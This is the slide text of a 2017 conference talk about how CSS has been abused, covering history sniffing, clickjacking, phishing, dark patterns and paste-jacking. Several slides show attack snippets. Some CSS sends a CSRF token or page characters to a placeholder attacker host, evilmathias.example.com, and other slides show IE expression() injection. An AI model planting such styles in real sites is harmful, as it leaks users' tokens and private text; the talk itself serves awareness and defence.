Slide 1
Slide 1 text
CSS For Evil,
Not Good.
How style has been used to manipulate people, invade their privacy,
steal their data, and other assorted nasty things.
Stephen Hay, CSS Day 2017, Amsterdam
Slide 2
Slide 2 text
No content
Slide 3
Slide 3 text
No content
Slide 4
Slide 4 text
catawiki.com/jobs
Slide 5
Slide 5 text
MySpace
Slide 6
Slide 6 text
No content
Slide 7
Slide 7 text
No content
Slide 8
Slide 8 text
No content
Slide 9
Slide 9 text
Samy
Slide 10
Slide 10 text
In a relationship.
Slide 11
Slide 11 text
In a relationship.
hot
Slide 12
Slide 12 text
No content
Slide 13
Slide 13 text
but most of
all, Samy is
my hero
By vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/,
CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
Slide 14
Slide 14 text
Slide 15
Slide 15 text
WTF
https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Slide 16
Slide 16 text
Samy didn’t have
evil intentions.
Slide 17
Slide 17 text
I’m not a security expert.
Slide 18
Slide 18 text
No content
Slide 19
Slide 19 text
There are different
levels of evil.
Slide 20
Slide 20 text
Level 1:
Getting some
browsing history.
Slide 21
Slide 21 text
weirdbutdead.com
Slide 22
Slide 22 text
weirdbutdead.com
getComputedStyle
Slide 23
Slide 23 text
Boolean algebra &
mix-blend-mode
Slide 24
Slide 24 text
http://lcamtuf.coredump.cx/whack/
http://lcamtuf.coredump.cx/css_calc/
Slide 25
Slide 25 text
Level 2
Mathias Bynens’
Evil Basement of Horrors
Slide 26
Slide 26 text
Some Belgian kid
did a presentation…
https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Slide 27
Slide 27 text
Stealing DOM data
Slide 28
Slide 28 text
#csrf[value^="a"] {
background: url(//evilmathias.example.com/?v=a);
}
#csrf[value^="b"] {
background: url(//evilmathias.example.com/?v=b);
}
etc.
Slide 29
Slide 29 text
Text-symbol leaking
Slide 30
Slide 30 text
I think Javascript is OK
@font-face {
font-family: evilmathias;
src: url(//evilmathias.example.com/?v=A);
unicode-range: U+0041;
}
#my-dirtiest-secrets {
font-family: evilmathias;
}
Slide 31
Slide 31 text
Forcing IE=7 Expressions
Slide 32
Slide 32 text
.foo {
width: expression( alert(‘Bad Evil Mathias’) );
}
Slide 33
Slide 33 text
Level 3
Path-relative
stylesheet import
http://blog.portswigger.net/2015/02/prssi.html
Slide 34
Slide 34 text
http://example.com/posts.php
Blah blah blah * { width: expression( alert( ‘evil’ )) }
http://example.com/posts.php/
Slide 35
Slide 35 text
Level 4
Content replacement
Slide 36
Slide 36 text
nav {display: none;}
Content
Slide 37
Slide 37 text
Oops: allow users to
add
Slide 38
Slide 38 text
Allow users to add
classes.
Oops.
Slide 39
Slide 39 text
Allow users to add
classes.
Oops.
Slide 40
Slide 40 text
Level 5
UI Redressing
“Clickjacking”
Slide 41
Slide 41 text
LinkedIn
Slide 42
Slide 42 text
.li_style {
position: absolute;
width: 100%;
z-index: 10021;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
padding: 0;
overflow-y: scroll;
_overflow-y: hidden
}
Slide 43
Slide 43 text
{"content": ""}
- https://security.linkedin.com/blog-archive#11232015
Slide 44
Slide 44 text
No content
Slide 45
Slide 45 text
Level 6
Phishing
Slide 46
Slide 46 text
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
Slide 47
Slide 47 text
No content
Slide 48
Slide 48 text
No content
Slide 49
Slide 49 text
One thing going for us,
at least for now: most
scammers aren’t great
designers.
Slide 50
Slide 50 text
“Good” design works.
Even for evil.
Slide 51
Slide 51 text
Level 7
Dark Patterns
Black Hat UX
Slide 52
Slide 52 text
Sophisticated deceivers
seem knowledgable
about behaviour as well
as technology.
Slide 53
Slide 53 text
No content
Slide 54
Slide 54 text
Image: https://www.brignull.com/
Slide 55
Slide 55 text
No content
Slide 56
Slide 56 text
No content
Slide 57
Slide 57 text
“Roach Motel”
Slide 58
Slide 58 text
Unsubscribe…
Slide 59
Slide 59 text
No content
Slide 60
Slide 60 text
No content
Slide 61
Slide 61 text
No content
Slide 62
Slide 62 text
Misdirection
Slide 63
Slide 63 text
No content
Slide 64
Slide 64 text
No content
Slide 65
Slide 65 text
No content
Slide 66
Slide 66 text
No content
Slide 67
Slide 67 text
Confirmation of
desired behaviour
Slide 68
Slide 68 text
Yes | No
Yes | Not right now
Yes | Maybe later
There is a significant difference between these sets of choices.
Slide 69
Slide 69 text
Exploiting
behavioural patterns
Slide 70
Slide 70 text
No content
Slide 71
Slide 71 text
People who stand to
gain something from
you have motive to
deceive.
Slide 72
Slide 72 text
Level 8
Command execution
on a target system
https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
Slide 73
Slide 73 text
No content
Slide 74
Slide 74 text
No content
Slide 75
Slide 75 text
When systems become
more complex, the
number of possible
weaknesses can
increase, yet become
less apparent.
Slide 76
Slide 76 text
What’s the
takeaway here?
Nothing.
Slide 77
Slide 77 text
Is there a
positive message?
No.
Slide 78
Slide 78 text
Thank you!
@stephenhay
Special thanks to Mathias “Evil Belgian Kid” Bynens